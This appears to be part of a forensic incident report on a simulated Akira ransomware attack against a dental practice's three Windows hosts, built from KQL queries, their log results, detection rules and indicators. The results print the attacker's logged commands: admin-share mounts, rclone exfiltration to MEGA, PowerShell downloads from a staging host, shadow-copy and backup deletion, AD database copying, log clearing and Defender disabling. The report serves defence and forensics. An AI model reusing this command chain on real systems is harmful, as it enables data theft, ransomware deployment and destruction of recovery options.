| summarize First = min(todatetime(EventTime)), Last = max(todatetime(EventTime)), n = count() by Host = tostring(split(Computer, ".")[0]), EID = EventID, Source = Src, Target =
tostring(split(Tgt, @"\")[-1]), Access
| project First = format_datetime(First, "yyyy-MM-dd HH:mm:ss"), Last = format_datetime(Last, "HH:mm:ss"), Host, EID, Source, Target, Access, n
| order by First asc
```

FIRST	LAST	HOST	EID	SOURCE	TARGET	ACCESS	N
2026-02-04 02:32:48	02:35:45	BACKOFFICE-PC1	8	C:\Windows\System32\rundll32.exe	notepad.exe		4
2026-02-04 02:47:11	03:31:58	BACKOFFICE-PC1	8	C:\Users\Public\taskhostw.exe	spoolsv.exe		2
2026-02-04 02:49:46	02:50:17	BACKOFFICE-PC1	10	C:\Windows\System32\spoolsv.exe	lsass.exe	0x1fffff	2
2026-02-04 02:56:31	03:22:08	BACKOFFICE-PC1	8	C:\Windows\System32\spoolsv.exe	notepad.exe		4
2026-02-04 03:31:58	03:31:58	BACKOFFICE-PC1	10	C:\Users\Public\taskhostw.exe	lsass.exe	0x1fffff	1
2026-02-04 04:26:08	04:26:08	HL-FS01	10	C:\Users\Public\taskhostw.exe	lsass.exe	0x1fffff	1
2026-02-04 04:26:08	04:26:08	HL-FS01	8	C:\Users\Public\taskhostw.exe	spoolsv.exe		1
2026-02-04 04:34:11	04:34:11	ADDC01	10	C:\Users\Public\taskhostw.exe	lsass.exe	0x1fffff	1
2026-02-04 04:34:12	04:34:12	ADDC01	8	C:\Users\Public\taskhostw.exe	spoolsv.exe		1
2026-02-04 04:37:38	04:37:38	ADDC01	8	C:\Windows\System32\spoolsv.exe	notepad.exe		1

LAW-SilentCorridor · HarborlightDental_CL — 10 rows · result as returned, 2026-10-23

E4 Admin shares, WMI and the copy to MEGA

SUPPORTS Emily.Grant's own account (password typed in clear, masked here) mounted C$ on the file server, then the domain controller; WMI ran a shadow-copy delete with the same account; the renamed rclone copied C:\Shares to mega:HARBORLIGHT-exfil three times and resolved MEGA storage nodes 39 times.

DOES NOT PROVE How much data reached MEGA: Sysmon records the lookups, not the bytes.

exhibits/E4-admin-shares-wmi-and-the-copy-to-mega-20261023.png

E4 Admin shares, WMI and the copy to MEGA — all three

```
let T = workspace("LAW-SilentCorridor").HarborlightDental_CL | extend X = tostring(EventData_Xml);
union
 (T | where EventID == "1" | extend Cmd = extract("CommandLine.>([^<]+)", 1, X)
    | where (Cmd has "net use" and Cmd has "$") or Cmd has "/node:" or (Cmd has "--config" and Cmd has "copy")
    | project UTC = todatetime(EventTime), Host = tostring(split(Computer, ".")[0]),
      What = replace_regex(replace_regex(Cmd, @"(/user:\S+)\s+\S+", @"\1 [password masked]"), @"(password-command echo)[^ ]* [^ ]+", @"\1 [masked]")),
 (T | where EventID == "22" | extend Img = extract(@"<Data Name=.Image.>([^<]+)", 1, X), Qn = extract("QueryName.>([^<]+)", 1, X)
    | where Img endswith "MsMpEng.exe" and Img has "ProgramData" and Qn has "mega"
    | summarize UTC = min(todatetime(EventTime)), n = count(), Last = max(todatetime(EventTime)) by Host = tostring(split(Computer, ".")[0])
    | project UTC, Host, What = strcat("DNS: renamed rclone resolved MEGA storage nodes ", n, " times, last ", format_datetime(Last, "HH:mm:ss")))
| project UTC = format_datetime(UTC, "yyyy-MM-dd HH:mm:ss"), Host, What = substring(What, 0, 170)
| order by UTC asc
```

UTC	HOST	WHAT
2026-02-04 03:34:09	BACKOFFICE-PC1	net use Z: \\172.16.0.8\C$ /user:HARBORLIGHT\Emily.Grant [password masked]
2026-02-04 03:57:40	HL-FS01	cmd /c "C:\ProgramData\Microsoft\MsMpEng.exe --config C:\ProgramData\Microsoft\config.dat --password-command echo [masked] copy C:\Shares mega:HARBORLIGHT-exfil -q"
2026-02-04 03:58:33	HL-FS01	cmd /c "C:\ProgramData\Microsoft\MsMpEng.exe --config C:\ProgramData\Microsoft\rclone.conf copy C:\Shares mega:HARBORLIGHT-exfil -q"
2026-02-04 03:58:34	HL-FS01	DNS: renamed rclone resolved MEGA storage nodes 39 times, last 04:03:39
2026-02-04 04:00:14	HL-FS01	cmd /c "C:\ProgramData\Microsoft\MsMpEng.exe --config C:\ProgramData\Microsoft\rclone.conf copy C:\Shares mega:HARBORLIGHT-exfil -q"
2026-02-04 04:28:22	HL-FS01	net use Y: \\172.16.0.7\C$ /user:HARBORLIGHT\Emily.Grant [password masked]
2026-02-04 04:42:28	ADDC01	wmic /node:172.16.0.7 /user:HARBORLIGHT\Emily.Grant [password masked] process call create "cmd /c vssadmin delete shadows /all /quiet"

LAW-SilentCorridor · HarborlightDental_CL — 7 rows · result as returned, 2026-10-23

E5 Anti-recovery, the AD database copy and log clearing, per host

SUPPORTS The file server lost shadow copies, boot recovery and the backup catalog (each command twice); the domain controller's AD database was copied with ntdsutil IFM and its shadow copies deleted; wevtutil cleared logs on all three hosts, and the servers' own clear events (1102, 104) confirm it.

DOES NOT PROVE The workstation's clear events: wevtutil ran there 21 times, but no 1102 or 104 from it is in the dataset.

exhibits/E5-anti-recovery-the-ad-database-copy-and-l-20261023.png

E5 Anti-recovery, the AD database copy and log clearing, per host — all three

```
let T = workspace("LAW-SilentCorridor").HarborlightDental_CL;
union
 (T | where EventID == "1" | extend Cmd = extract("CommandLine.>([^<]+)", 1, tostring(EventData_Xml))
    | extend Action = case(Cmd has "vssadmin" and Cmd has "delete", "vssadmin delete shadows", Cmd has "shadowcopy" and Cmd has "delete", "wmic shadowcopy delete",
        Cmd has "bcdedit" and Cmd has "/set", "bcdedit recovery off", Cmd has "wbadmin" and Cmd has "delete", "wbadmin delete catalog",
        Cmd has "ntdsutil" and Cmd has "ifm", "ntdsutil IFM (AD database copy)", Cmd has "wevtutil" and Cmd has " cl ", "wevtutil cl (clear a log)", "")
    | where isnotempty(Action) and not(Cmd startswith "wmic /node")
    | summarize n = count(), First = min(todatetime(EventTime)), Last = max(todatetime(EventTime)) by Host = tostring(split(Computer, ".")[0]), Action),
 (T | where isempty(Computer) and tostring(EventCode) in ("1102", "104")
    | summarize n = count(), First = min(todatetime(EventTime)), Last = max(todatetime(EventTime)) by Host = tostring(split(ComputerName, ".")[0]), Action =
iff(tostring(EventCode) == "1102", "event 1102: Security log cleared", "event 104: a log cleared (System log)"))
| project Host, Action, n, First = format_datetime(First, "HH:mm:ss"), Last = format_datetime(Last, "HH:mm:ss")
| order by Host asc, First asc
```

HOST	ACTION	N	FIRST (UTC)	LAST (UTC)
ADDC01	ntdsutil IFM (AD database copy)	4	04:33:55	04:35:35
ADDC01	vssadmin delete shadows	2	04:43:35	04:43:35
ADDC01	event 104: a log cleared (System log)	19	05:14:18	05:20:01
ADDC01	event 1102: Security log cleared	2	05:14:18	05:20:00
ADDC01	wevtutil cl (clear a log)	21	05:14:18	05:20:01
BACKOFFICE-PC1	wevtutil cl (clear a log)	21	05:17:35	05:18:21
HL-FS01	event 104: a log cleared (System log)	21	03:42:36	05:19:31
HL-FS01	event 1102: Security log cleared	3	03:42:36	05:19:31
HL-FS01	wevtutil cl (clear a log)	24	03:42:36	05:19:31
HL-FS01	vssadmin delete shadows	2	04:04:05	04:05:26
HL-FS01	bcdedit recovery off	4	04:04:06	04:05:26
HL-FS01	wmic shadowcopy delete	2	04:04:06	04:05:26
HL-FS01	wbadmin delete catalog	2	04:04:07	04:05:26

LAW-SilentCorridor · HarborlightDental_CL — 13 rows · result as returned, 2026-10-23

E6 Encryption, the new domain admin, and beacons that outlived both

SUPPORTS 128 ransom notes and 27 distinct .akira paths across the estate (two of them appear in two hosts' logs, so the per-host figures sum to 29); the directory's own events show svc_sql created, then added to Administrators and Domain Admins; the implants kept connecting to the C2 addresses until 09:23, 14:47 and 18:47.

DOES NOT PROVE What the beacons carried, or that Akira's own encryptor (rather than a look-alike) was used: the binary was not analysed.

exhibits/E6-encryption-the-new-domain-admin-and-beac-20261023.png

E6 Encryption, the new domain admin, and beacons that outlived both — all three

```
let T = workspace("LAW-SilentCorridor").HarborlightDental_CL;
let X = T | extend X = tostring(EventData_Xml);
union
 (X | where EventID == "11" | extend F = extract("TargetFilename.>([^<]+)", 1, X) | where F has "akira_readme" or F endswith ".akira"
    | summarize Notes = countif(F has "akira_readme"), Encrypted = dcountif(F, F endswith ".akira"), First = min(todatetime(EventTime)) by Host = tostring(split(Computer, ".")
[0])
    | project Host, Item = "Akira: ransom notes written / .akira file paths", Value = strcat(Notes, " / ", Encrypted), UTC = format_datetime(First, "HH:mm:ss")),
 (T | where isempty(Computer) and tostring(EventCode) in ("4720", "4732", "4728") | extend M = tostring(Message)
    | project Host = tostring(split(ComputerName, ".")[0]), Item = strcat("Security ", tostring(EventCode), case(tostring(EventCode) == "4720", ": account created", ": member
added to group")),
      Value = case(tostring(EventCode) == "4720", "svc_sql", strcat("SID ...", extract(@"Member:\s+Security ID:\s+\S+-(\d+)\s", 1, M), " -> ", extract(@"Group:\s+Security
ID:\s+\S+\s+Group Name:\s+([^\r\n]+)", 1, M))), UTC = format_datetime(todatetime(EventTime), "HH:mm:ss")),
 (X | where EventID == "3" | extend Img = extract(@"<Data Name=.Image.>([^<]+)", 1, X), Dst = extract("DestinationIp.>([^<]+)", 1, X)
    | where (Img has_any (@"\Users\Public\", @"\ProgramData\Microsoft\") or Img endswith "rundll32.exe") and Dst in ("104.21.30.237", "172.67.174.46")
    | summarize n = count(), Last = max(todatetime(EventTime)) by Host = tostring(split(Computer, ".")[0])
    | project Host, Item = strcat("C2 connections to cdn.cloud-endpoint.net (", n, "), last at"), Value = format_datetime(Last, "yyyy-MM-dd HH:mm:ss"), UTC = "")
| order by Item asc, Host asc
```

HOST	ITEM	VALUE	UTC
ADDC01	Akira: ransom notes written / .akira file paths	38 / 23	05:14:15
BACKOFFICE-PC1	Akira: ransom notes written / .akira file paths	13 / 2	05:17:35
HL-FS01	Akira: ransom notes written / .akira file paths	77 / 4	05:13:05
BACKOFFICE-PC1	C2 connections to cdn.cloud-endpoint.net (1494), last at	2026-02-04 09:23:49	
ADDC01	C2 connections to cdn.cloud-endpoint.net (4626), last at	2026-02-04 18:47:29	
HL-FS01	C2 connections to cdn.cloud-endpoint.net (8093), last at	2026-02-04 14:47:52	
ADDC01	Security 4720: account created	svc_sql	05:21:56
ADDC01	Security 4728: member added to group	SID ...2105 -> Domain Admins	05:22:57
ADDC01	Security 4732: member added to group	SID ...2105 -> Administrators	05:22:28

LAW-SilentCorridor · HarborlightDental_CL — 9 rows · result as returned, 2026-10-23

E7 After the encryption: the consoles, AnyDesk and a second copy of the implant

SUPPORTS AnyDesk was running on the workstation from 00:29, before the first lure. At 13:44 to 13:45 a console sign-in as the file server's local Administrator opened three ransom notes and started C:\Users\Public\taskhostw.exe; at 13:49 the workstation's local helpdesk account signed in, opened AnyDesk and read AnyDesk's connection_trace.txt twice; the workstation was powered off at 14:27:48.

DOES NOT PROVE Who was at either console, or who used AnyDesk at 10:43 and 13:47: the account names fit staff or the MSP, and the logs do not say which.

exhibits/E7-after-the-encryption-the-consoles-anydes-20261023.png

E7 After the encryption: the consoles, AnyDesk and a second copy of the implant — HL-FS01, BACKOFFICE-PC1

```
let T = workspace("LAW-SilentCorridor").HarborlightDental_CL;
union
 (T | where isempty(Computer) and tostring(EventCode) in ("4625", "4624") and todatetime(EventTime) > datetime(2026-02-04 13:00) and tostring(Logon_Type) == "2"
    | extend Who = tostring(split(tostring(Account_Name), "\n")[-1])
    | where Who !in ("DWM-4", "UMFD-4")
    | summarize n = count(), UTC = min(todatetime(EventTime)) by Host = tostring(split(ComputerName, ".")[0]), What = strcat(iff(tostring(EventCode) == "4625", "4625 failed
console sign-in as ", "4624 console sign-in (type 2) as "), Who)),
 (T | where EventID == "1" and todatetime(EventTime) > datetime(2026-02-04 13:00) | extend X = tostring(EventData_Xml)
    | extend Cmd = extract("CommandLine.>([^<]+)", 1, X), User = extract(@"<Data Name=.User.>([^<]+)", 1, X)
    | where Cmd has_any ("akira_readme", "taskhostw", "AnyDesk")
    | project n = 1, UTC = todatetime(EventTime), Host = tostring(split(Computer, ".")[0]), What = strcat(User, ": ", Cmd)),
 (T | where EventID == "22" | extend X = tostring(EventData_Xml) | where X has "AnyDesk.exe" and X has "anydesk.com"
    | summarize n = count(), UTC = min(todatetime(EventTime)) by Host = tostring(split(Computer, ".")[0]), Hour = bin(todatetime(EventTime), 1h)
    | project n, UTC, Host, What = "AnyDesk.exe resolves AnyDesk relay hosts"),
 (T | where EventID == "10" | extend X = tostring(EventData_Xml) | where X has @"AnyDesk\AnyDesk.exe"
    | summarize n = count(), UTC = min(todatetime(EventTime)) by Host = tostring(split(Computer, ".")[0])
    | project n, UTC, Host, What = "First record of AnyDesk.exe running (a process opens it)"),
 (T | where isempty(Computer) and tostring(EventCode) == "1074"
    | project n = 1, UTC = todatetime(EventTime), Host = tostring(split(ComputerName, ".")[0]), What = "1074 power off initiated (winlogon)")
| project UTC = format_datetime(UTC, "yyyy-MM-dd HH:mm:ss"), Host, What = substring(What, 0, 150), n
| order by UTC asc
```

UTC	HOST	WHAT	N
2026-02-04 00:29:02	BACKOFFICE-PC1	First record of AnyDesk.exe running (a process opens it)	48
2026-02-04 10:43:40	BACKOFFICE-PC1	AnyDesk.exe resolves AnyDesk relay hosts	3
2026-02-04 13:44:39	HL-FS01	4625 failed console sign-in as Administrator	3
2026-02-04 13:44:55	HL-FS01	4624 console sign-in (type 2) as Administrator	1
2026-02-04 13:45:13	HL-FS01	HL-FS01\Administrator: "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Public\Desktop\akira_readme.txt	1
2026-02-04 13:45:16	HL-FS01	HL-FS01\Administrator: "C:\Windows\system32\NOTEPAD.EXE" C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\akira_readme.txt	1
2026-02-04 13:45:16	HL-FS01	HL-FS01\Administrator: "C:\Users\Public\taskhostw.exe"	1
2026-02-04 13:45:17	HL-FS01	HL-FS01\Administrator: "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\akira_re	1
2026-02-04 13:47:02	BACKOFFICE-PC1	AnyDesk.exe resolves AnyDesk relay hosts	3
2026-02-04 13:49:14	BACKOFFICE-PC1	4625 failed console sign-in as helpdesk	2
2026-02-04 13:49:23	BACKOFFICE-PC1	4625 failed console sign-in as Emily.Grant	1
2026-02-04 13:49:31	BACKOFFICE-PC1	4624 console sign-in (type 2) as helpdesk	2
2026-02-04 13:50:02	BACKOFFICE-PC1	BACKOFFICE-PC1\helpdesk: "C:\Program Files (x86)\AnyDesk\AnyDesk.exe" --control	1
2026-02-04 13:52:36	BACKOFFICE-PC1	BACKOFFICE-PC1\helpdesk: "C:\Windows\system32\NOTEPAD.EXE" C:\ProgramData\AnyDesk\connection_trace.txt	1
2026-02-04 13:53:07	BACKOFFICE-PC1	BACKOFFICE-PC1\helpdesk: "C:\Windows\system32\NOTEPAD.EXE" C:\ProgramData\AnyDesk\connection_trace.txt	1
2026-02-04 14:27:48	BACKOFFICE-PC1	1074 power off initiated (winlogon)	1

LAW-SilentCorridor · HarborlightDental_CL — 16 rows · result as returned, 2026-10-23

E8 Detection replay: eleven rules on the whole dataset

SUPPORTS R1 to R7 return exactly the v2 counts; the four new rules (R8 to R11) fire on attack activity only. The dataset also holds a day of ordinary background (Edge and OneDrive updaters, WMI, compatibility telemetry), and no rule fires on any of it.

DOES NOT PROVE Production false-positive rates: one simulated day is a small benign baseline.

exhibits/E8-detection-replay-eleven-rules-on-the-who-20261023.png

E8 Detection replay: eleven rules on the whole dataset — all three

```
let T = workspace("LAW-SilentCorridor").HarborlightDental_CL | extend X = tostring(EventData_Xml);
let P = T | where EventID == "1" | extend Img = extract(@"<Data Name=.Image.>([^<]+)", 1, X), Cmd = extract("CommandLine.>([^<]+)", 1, X), Parent = extract("ParentImage.>
([^<]+)", 1, X);
let W = T | where isempty(Computer) | extend Host = tostring(ComputerName), M = tostring(Message);
union
 (P | where Img endswith "rundll32.exe" and Cmd matches regex @"(?i)\s[d-z]:\\[^\\\s]+\.dll" | extend Rule = "R1", Detail = Cmd),
 (P | where Cmd has "ms-settings" and Cmd has "shell" and Cmd has "command" | extend Rule = "R2", Detail = Cmd),
 (T | where EventID in ("12", "13") | extend Obj = extract("TargetObject.>([^<]+)", 1, X) | where Obj has "ms-settings" and Obj has "command" | extend Rule = "R2", Detail =
Obj),
 (P | where (Img contains "\\Users\\Public\\" or Img contains "\\ProgramData\\Microsoft\\") and Img !has "Windows Defender" | extend Rule = "R3", Detail = Img),
 (T | where EventID == "8" | extend Src = extract("SourceImage.>([^<]+)", 1, X), Tgt = extract("TargetImage.>([^<]+)", 1, X) | where Tgt has_any ("spoolsv.exe", "notepad.exe") |
extend Rule = "R4", Detail = strcat(Src, " -> ", Tgt)),
 (P | where Cmd has "--config" and Cmd has "copy" and Cmd matches regex @"\s[A-Za-z0-9_-]{2,}:[A-Za-z0-9_-]" | extend Rule = "R5", Detail = Cmd),
 (P | where (Cmd has "/add" and Cmd has "/domain") or Cmd has "Add-ADGroupMember" or (Cmd has "localgroup" and Cmd has "Administrators" and Cmd has "/add") | extend Rule = "R6",
Detail = Cmd),
 (T | where EventID == "22" | extend Img = extract(@"<Data Name=.Image.>([^<]+)", 1, X), Qn = extract("QueryName.>([^<]+)", 1, X) | where (Img contains "\\Users\\Public\\" or
Img contains "\\ProgramData\\" or Img endswith "rundll32.exe") and Qn !endswith ".local" and Qn has "." and Img !has "Windows Defender" | extend Rule = "R7", Detail =
strcat(Img, " -> ", Qn)),
 (T | where EventID == "10" | extend Src = extract("SourceImage.>([^<]+)", 1, X), Tgt = extract("TargetImage.>([^<]+)", 1, X), Acc = extract("GrantedAccess.>([^<]+)", 1, X) |
where Tgt endswith "lsass.exe" and Acc == "0x1fffff" and Src !has "Windows Defender" and Src !endswith "MsMpEng.exe" | extend Rule = "R8", Detail = Src),
 (P | where (Cmd has "/node:" and Cmd has "process call create") or (Parent endswith "WmiPrvSE.exe" and Img has_any ("cmd.exe", "powershell.exe", "vssadmin.exe",
"rundll32.exe")) | extend Rule = "R9", Detail = Cmd),
 (P | where (Cmd has "vssadmin" and Cmd has "delete") or (Cmd has "shadowcopy" and Cmd has "delete") or (Cmd has "bcdedit" and Cmd has "/set") or (Cmd has "wbadmin" and Cmd has
"delete") or (Cmd has "ntdsutil" and Cmd has "ifm") or (Cmd has "wevtutil" and Cmd has " cl ") | extend Rule = "R10", Detail = Cmd),
 (W | where tostring(EventCode) in ("1102", "104") | extend Rule = "R10", Detail = strcat("event ", tostring(EventCode)), Computer = Host),
 (W | where tostring(EventCode) in ("4728", "4732", "4756") | extend G = extract(@"Group:\s+Security ID:\s+\S+\s+Group Name:\s+([^\r\n]+)", 1, M) | where G in ("Domain Admins",
"Enterprise Admins", "Schema Admins", "Administrators") | extend Rule = "R11", Detail = G, Computer = Host)
| summarize Hits = count(), Hosts = dcount(Computer), Distinct = dcount(Detail), First = format_datetime(min(todatetime(EventTime)), "HH:mm:ss"), Last =
format_datetime(max(todatetime(EventTime)), "HH:mm:ss") by Rule
| order by toint(substring(Rule, 1)) asc
```

RULE	HITS	HOSTS	DISTINCT	FIRST (UTC)	LAST (UTC)
R1	4	1	2	01:59:15	02:25:06
R2	6	1	4	02:40:41	02:42:08
R3	7	3	3	02:42:40	13:45:16
R4	13	3	3	02:32:48	04:37:38
R5	3	1	2	03:57:40	04:00:14
R6	13	1	13	05:21:56	05:22:54
R7	64	3	20	02:25:07	13:55:18
R8	5	3	2	02:49:46	04:34:11
R9	1	1	1	04:42:28	04:42:28
R10	128	3	36	03:42:36	05:20:01
R11	2	1	2	05:22:28	05:22:57

LAW-SilentCorridor · HarborlightDental_CL — 11 rows · result as returned, 2026-10-23

E9 The dataset: rows by host and source

SUPPORTS 44,989 rows in two schemas: Sysmon (27,231 rows, EventID and Computer) and Windows event logs (17,758 rows, EventCode and ComputerName: Security, System, Application, PowerShell, and Defender on the workstation only). Event time runs 2026-02-04 00:00:18 to 18:47:29 UTC.

DOES NOT PROVE Anything from outside the three hosts: no firewall, proxy, DNS server or MSP logs.

exhibits/E9-the-dataset-rows-by-host-and-source-20261023.png

E9 The dataset: rows by host and source — all three

```
workspace("LAW-SilentCorridor").HarborlightDental_CL
| extend Host = tostring(split(coalesce(tostring(Computer), tostring(ComputerName)), ".")[0]),
        Source = iff(isnotempty(Computer), "Sysmon", strcat("Windows ", tostring(LogName)))
| summarize Rows = count(), First = min(todatetime(EventTime)), Last = max(todatetime(EventTime)) by Host, Source
| project Host, Source, Rows, First = format_datetime(First, "yyyy-MM-dd HH:mm:ss"), Last = format_datetime(Last, "yyyy-MM-dd HH:mm:ss")
| order by Host asc, Rows desc
```

HOST	SOURCE	ROWS	FIRST (UTC)	LAST (UTC)
ADDC01	Windows Security	12695	2026-02-04 00:00:18	2026-02-04 18:47:29
ADDC01	Sysmon	8383	2026-02-04 00:00:34	2026-02-04 18:47:29
ADDC01	Windows System	275	2026-02-04 00:01:29	2026-02-04 18:28:00
ADDC01	Windows Application	114	2026-02-04 00:23:51	2026-02-04 18:28:00
ADDC01	Windows Microsoft-Windows-PowerShell/Operational	29	2026-02-04 01:00:25	2026-02-04 05:22:57
BACKOFFICE-PC1	Sysmon	8039	2026-02-04 00:03:07	2026-02-04 14:28:14
BACKOFFICE-PC1	Windows Security	881	2026-02-04 00:29:04	2026-02-04 14:28:05
BACKOFFICE-PC1	Windows System	107	2026-02-04 00:58:58	2026-02-04 14:28:14
BACKOFFICE-PC1	Windows Application	68	2026-02-04 00:32:11	2026-02-04 14:28:05
BACKOFFICE-PC1	Windows Microsoft-Windows-Windows Defender/Operational	19	2026-02-04 00:59:12	2026-02-04 14:28:08
BACKOFFICE-PC1	Windows Microsoft-Windows-PowerShell/Operational	5	2026-02-04 01:53:35	2026-02-04 12:41:25
HL-FS01	Sysmon	10809	2026-02-04 00:00:31	2026-02-04 14:47:52
HL-FS01	Windows Security	2300	2026-02-04 00:10:51	2026-02-04 14:29:41
HL-FS01	Windows Microsoft-Windows-PowerShell/Operational	918	2026-02-04 03:44:57	2026-02-04 13:24:04
HL-FS01	Windows System	247	2026-02-04 00:00:33	2026-02-04 14:39:24
HL-FS01	Windows Application	100	2026-02-04 00:08:47	2026-02-04 14:39:24

LAW-SilentCorridor · HarborlightDental_CL — 16 rows · result as returned, 2026-10-23

E10 What Defender and PowerShell logging saw

SUPPORTS The implant pulled its tools from a second host name, sync.cloud-endpoint.net (five IWR downloads, among them a fake MsMpEng.exe inside the Windows Defender folder), and switched five Defender protections off, twice. On the workstation Defender detected the implant as Trojan:Win32/SuspGolang.AG and quarantined taskhostw.exe at 09:24:04, 15 seconds after that host's last beacon.

DOES NOT PROVE That the 01:14 DefenderTamperingRestore detection belongs to the attack: it comes 43 minutes before the first lure, beside Defender's own service-key writes.

exhibits/E10-what-defender-and-powershell-logging-saw-20261023.png

E10 What Defender and PowerShell logging saw — BACKOFFICE-PC1, HL-FS01

```
let T = workspace("LAW-SilentCorridor").HarborlightDental_CL;
union
 (T | where isempty(Computer) and tostring(LogName) has "Defender" and tostring(EventCode) in ("1116", "1117")
    | extend M = replace_regex(tostring(Message), @"\s+", " ")
    | summarize n = count(), UTC = min(todatetime(EventTime)) by Host = tostring(split(ComputerName, ".")[0]), What = strcat("Defender ", tostring(EventCode),
iff(tostring(EventCode) == "1116", " detected ", " acted, "), extract(@"Name: (\S+)", 1, M), iff(tostring(EventCode) == "1117", strcat(" (", extract(@"Action: (\w+)", 1, M),
")"), ""), " on ", extract(@"Path: (\S+)", 1, M))),
 (T | where isempty(Computer) and tostring(LogName) has "PowerShell" and tostring(EventCode) == "4104"
    | extend SB = trim(@"\s+", replace_regex(replace_regex(extract(@"(?s)Creating Scriptblock text \(\d+ of \d+\):(.*)", 1, tostring(Message)), @"(?s)ScriptBlock ID:.*", ""),
@"\s+", " "))
    | where SB startswith "IWR -Uri" or SB startswith "Set-MpPreference"
    | summarize n = count(), UTC = min(todatetime(EventTime)) by Host = tostring(split(ComputerName, ".")[0]), What = strcat("PowerShell 4104: ", SB))
| project UTC = format_datetime(UTC, "yyyy-MM-dd HH:mm:ss"), Host, What = substring(What, 0, 140), n
| order by UTC asc
```

UTC	HOST	WHAT	N
2026-02-04 01:14:11	BACKOFFICE-PC1	Defender 1116 detected VirTool:Win32/DefenderTamperingRestore on regkeyvalue:_hklm\software\microsoft\windows	1
2026-02-04 01:14:32	BACKOFFICE-PC1	Defender 1117 acted, VirTool:Win32/DefenderTamperingRestore (Quarantine) on regkeyvalue:_hklm\software\microsoft\windows	1
2026-02-04 03:44:57	HL-FS01	PowerShell 4104: IWR -Uri "https://sync.cloud-endpoint.net/RuntimeBroker.exe" -OutFile "C:\ProgramData\Microsoft\RuntimeBroker.exe"	1
2026-02-04 03:47:19	HL-FS01	PowerShell 4104: IWR -Uri "https://sync.cloud-endpoint.net/MsMpEng.exe" -OutFile "C:\ProgramData\Microsoft\Windows Defender\MsMpEng.exe"	1
2026-02-04 03:47:33	HL-FS01	PowerShell 4104: IWR -Uri "https://sync.cloud-endpoint.net/config.dat" -OutFile "C:\ProgramData\Microsoft\config.dat"	1
2026-02-04 03:47:54	HL-FS01	PowerShell 4104: IWR -Uri "https://sync.cloud-endpoint.net/update.bat" -OutFile "C:\ProgramData\Microsoft\update.bat"	1
2026-02-04 03:53:43	HL-FS01	PowerShell 4104: IWR -Uri "https://sync.cloud-endpoint.net/rclone.conf" -OutFile "C:\ProgramData\Microsoft\rclone.conf"	1
2026-02-04 04:03:50	HL-FS01	PowerShell 4104: Set-MpPreference -DisableRealtimeMonitoring $true	2
2026-02-04 04:03:52	HL-FS01	PowerShell 4104: Set-MpPreference -DisableBehaviorMonitoring $true	2
2026-02-04 04:03:53	HL-FS01	PowerShell 4104: Set-MpPreference -DisableScriptScanning $true	2
2026-02-04 04:03:53	HL-FS01	PowerShell 4104: Set-MpPreference -DisableIOAVProtection $true	2
2026-02-04 04:03:54	HL-FS01	PowerShell 4104: Set-MpPreference -DisableIntrusionPreventionSystem $true	2
2026-02-04 09:23:31	BACKOFFICE-PC1	Defender 1116 detected Trojan:Win32/SuspGolang.AG on file:_C:\Users\Public\taskhostw.exe;	2
2026-02-04 09:24:04	BACKOFFICE-PC1	Defender 1117 acted, Trojan:Win32/SuspGolang.AG (Quarantine) on file:_C:\Users\Public\taskhostw.exe;	1
2026-02-04 09:24:05	BACKOFFICE-PC1	Defender 1116 detected Trojan:Win32/SuspGolang.AG on file:_E:\review.dll	2

LAW-SilentCorridor · HarborlightDental_CL — 15 rows · result as returned, 2026-10-23

E11 HL-FS01's beacons per hour, around the 13:44 console sign-in

SUPPORTS All three implants beaconed steadily (about 120 connections an hour each) through the morning; after the 13:45:16 launch, taskhostw.exe roughly doubles (150 in the 13:00 hour, 192 in the 47 minutes of the 14:00 hour against 94 and 96), so a second copy was running; the server's data ends at 14:47:52 with all three still beaconing.

DOES NOT PROVE Why the server's data stops at 14:47:52: no shutdown event is logged there.

exhibits/E11-hl-fs01-s-beacons-per-hour-around-the-13-20261023.png

E11 HL-FS01's beacons per hour, around the 13:44 console sign-in — HL-FS01

```
workspace("LAW-SilentCorridor").HarborlightDental_CL
| where EventID == "3" and Computer has "HL-FS01" and todatetime(EventTime) >= datetime(2026-02-04 10:00)
| extend X = tostring(EventData_Xml)
| extend Img = tostring(split(extract(@"<Data Name=.Image.>([^<]+)", 1, X), @"\")[-1]), Dst = extract("DestinationIp.>([^<]+)", 1, X)
| where Dst in ("104.21.30.237", "172.67.174.46")
| summarize taskhostw = countif(Img == "taskhostw.exe"), OneDriveSync = countif(Img == "OneDriveSync.exe"), wsync = countif(Img == "wsync.exe"), Last =
max(todatetime(EventTime)) by Hour = bin(todatetime(EventTime), 1h)
| project Hour = format_datetime(Hour, "HH:mm"), taskhostw, OneDriveSync, wsync, Last = format_datetime(Last, "HH:mm:ss")
| order by Hour asc
```

HOUR (UTC)	TASKHOSTW	ONEDRIVESYNC	WSYNC	LAST
10:00	120	120	118	10:59:27
11:00	120	120	120	11:59:33
12:00	120	120	120	12:59:40
13:00	150	120	120	13:59:46
14:00	192	94	96	14:47:52

LAW-SilentCorridor · HarborlightDental_CL — 5 rows · result as returned, 2026-10-23

D Indicators

TYPE	VALUE	CONTEXT
C2 host name	`cdn.cloud-endpoint.net`	Cloudflare 104.21.30.237 and 172.67.174.46, ports 80 and 443; every implant (E6)
Staging host name	`sync.cloud-endpoint.net`	The source of the five tool downloads on HL-FS01 (E10)
Lures	`Vendor_Invoice_Review.7z` / `.iso`, `Harborlight_Insurance_Claims.7z` / `.iso`, `review.dll` (export `StartW`)	Emily's Downloads; D: and E: (E1)
Implants	`C:\Users\Public\taskhostw.exe`, `C:\Users\Public\OneDriveSync.exe`, `C:\ProgramData\Microsoft\OneDriveSync.exe`, `C:\ProgramData\Microsoft\wsync.exe`, `C:\ProgramData\Microsoft\RuntimeBroker.exe`	Defender verdict on taskhostw.exe and review.dll: Trojan:Win32/SuspGolang.AG (E10)
Exfiltration tool	`C:\ProgramData\Microsoft\MsMpEng.exe` (rclone), `rclone.conf`, `config.dat`; a second copy at `C:\ProgramData\Microsoft\Windows Defender\MsMpEng.exe`	HL-FS01 (E4, E10)
Exfiltration target	`mega:HARBORLIGHT-exfil`, account `jwilson.vhr@proton.me`	HL-FS01 (E4)
Scripts	`C:\ProgramData\Microsoft\update.bat`, `C:\Users\Public\defender.bat`	HL-FS01; all hosts
Ransomware	`updater.exe` (`C:\Users\Public`, and `C:\ProgramData\Microsoft` on HL-FS01), `akira_readme.txt`, extension `.akira`	All hosts (E6)
